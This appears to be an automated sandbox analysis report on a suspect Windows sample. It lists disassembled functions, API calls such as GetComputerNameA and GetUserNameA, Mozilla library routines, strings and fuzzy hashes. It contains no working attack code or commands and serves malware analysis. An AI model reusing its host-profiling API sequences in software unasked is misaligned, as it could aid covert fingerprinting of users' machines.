Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: d5ac3264e94c414717d298369fd3e83dfd503d9ec129e15a6304666a591fa648
Instruction ID: e3b43f4be233902f0e172ad3670082d303ba5c562a8a04934aa916f5354958c0
Opcode Fuzzy Hash: d5ac3264e94c414717d298369fd3e83dfd503d9ec129e15a6304666a591fa648
Instruction Fuzzy Hash: 56E0127194034C6BDB51EB50CC96FADB37C9B44B01F004295BA0C5A1C0DE70AB958F91

Function 002E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 002F78E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002F6A2B), ref: 002F7910
Part of subcall function 002F78E0: HeapAlloc.KERNEL32(00000000,?,?,?,002F6A2B), ref: 002F7917
Part of subcall function 002F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 002F792F

Part of subcall function 002F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002E11B7), ref: 002F7880
Part of subcall function 002F7850: HeapAlloc.KERNEL32(00000000,?,?,?,002E11B7), ref: 002F7887
Part of subcall function 002F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 002F789F

ExitProcess.KERNEL32 ref: 002E11C6

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: fe97d18aa9a083d99b2e2c4f4d2926bf191389fae8c3c76a8b230fe9dafa4fae
Instruction ID: 30c793ba775e03735b5d58a43669a7b6fa85bb004a84a0eb4ecb2bfbc52a0e1a
Opcode Fuzzy Hash: fe97d18aa9a083d99b2e2c4f4d2926bf191389fae8c3c76a8b230fe9dafa4fae
Instruction Fuzzy Hash: 8BE012B597430A53CE1477B1AC0AB3AB29C9F253C5F480434FB09D6202FA25F835A96A

Function 002F8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 876b7333d4162f7e49ad970db72ddb9b2cc4ab56125c50c16c86cece597c3eff
Instruction ID: 1bcde5239097fba059d2a60008ca08909a8c47c12351e3512009a4694aa53ccd
Opcode Fuzzy Hash: 876b7333d4162f7e49ad970db72ddb9b2cc4ab56125c50c16c86cece597c3eff
Instruction Fuzzy Hash: C201E830A1410CEBCB04CF98C585BACFBB5AF04348F288098EA056B351C7755A98DB85

Function 002E9880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,002F0759,?,?), ref: 002E9888

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: acb8510beea384c4026aa7e476fae3bdb422ef2cdc72411e8f5dea0001febb02
Instruction ID: d297e233cc2b614ab6996f6711fad789b275680aa23b1b5d6215f75630d4c5c2
Opcode Fuzzy Hash: acb8510beea384c4026aa7e476fae3bdb422ef2cdc72411e8f5dea0001febb02
Instruction Fuzzy Hash: A3F089B5D50208FFDB00EFE4D846BEDB7B4EB04300F1044A9FA05A7291E6709B54CB92

Non-executed Functions

Function 6C5E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E54BE
__Init_thread_footer.LIBCMT ref: 6C5E54DB

Part of subcall function 6C60AB3F: EnterCriticalSection.KERNEL32(6C65E370,?,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB49
Part of subcall function 6C60AB3F: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60AB7C

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5E5516
GetCurrentThreadId.KERNEL32 ref: 6C5E556A
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5E55E6
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E5616

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetCurrentThreadId.KERNEL32 ref: 6C5E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5E567C
free.MOZGLUE(?), ref: 6C5E56AE

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5E56E8
GetCurrentThreadId.KERNEL32 ref: 6C5E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5E57CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5E5D24
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5E5CF9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5E5724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5E5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5E584E
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5E5749
MOZ_BASE_PROFILER_HELP, xrefs: 6C5E5511
MOZ_PROFILER_STARTUP, xrefs: 6C5E55E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5E57AE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E54A3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5E57C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5E5D01
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5E56E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5E5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5E5C56
[I %d/%d] profiler_init, xrefs: 6C5E564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5E5D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5E5766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5E5AC9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E548D
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E54B9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5E5717
GeckoMain, xrefs: 6C5E5554, 6C5E55D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5E5B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5E5BBE

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction ID: ef1e98c87b81248ddb23aa188723eb988797f73a8baa264f33edf250c48306f3
Opcode Fuzzy Hash: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction Fuzzy Hash: 8E2204B1A083009FDB00DF76C89465A77B5AF8B34CFE44929E94697B41EB31C858CB5B

Function 6C5E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5E6D26

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5E6D73
free.MOZGLUE(00000000), ref: 6C5E6D80
CertGetNameStringW.CRYPT32 ref: 6C5E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5E6E34
CreateFileW.KERNEL32 ref: 6C5E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E7103
free.MOZGLUE(00000000), ref: 6C5E7153
CloseHandle.KERNEL32(?), ref: 6C5E7176
__Init_thread_footer.LIBCMT ref: 6C5E7209
__Init_thread_footer.LIBCMT ref: 6C5E723A
__Init_thread_footer.LIBCMT ref: 6C5E726B
__Init_thread_footer.LIBCMT ref: 6C5E729C
__Init_thread_footer.LIBCMT ref: 6C5E72DC
__Init_thread_footer.LIBCMT ref: 6C5E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E73C2
VerSetConditionMask.NTDLL ref: 6C5E73F3
VerSetConditionMask.NTDLL ref: 6C5E73FF
VerSetConditionMask.NTDLL ref: 6C5E7406
VerSetConditionMask.NTDLL ref: 6C5E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E741A
moz_xmalloc.MOZGLUE(?), ref: 6C5E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5E7598
free.MOZGLUE(00000000), ref: 6C5E75AC

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

wintrust.dll, xrefs: 6C5E72CD
(, xrefs: 6C5E768A
SHA256, xrefs: 6C5E6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C5E72C8

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction ID: 7c3440adac99b1014c8e91628bc8a29a74e6f8d9b40e64efdb6c5a79ba706afd
Opcode Fuzzy Hash: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction Fuzzy Hash: 515207B1A003159FEB21DF25CC84BAA77B8FF4A344F104599E909A7641DB70AF84CF99

Function 6C610DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C610F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C610F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C610FB7
EnterCriticalSection.KERNEL32(?), ref: 6C610FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C611031
LeaveCriticalSection.KERNEL32(?), ref: 6C6110D0
EnterCriticalSection.KERNEL32(?), ref: 6C61117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C611C39
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C613391
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C6133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C613431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6137D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6137BD
MOZ_CRASH(), xrefs: 6C613950
MALLOC_OPTIONS, xrefs: 6C6135FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6137A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C613559, 6C61382D, 6C613848
<jemalloc>, xrefs: 6C613941, 6C6139F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C613A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C613793
Compile-time page size does not divide the runtime one., xrefs: 6C613946

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
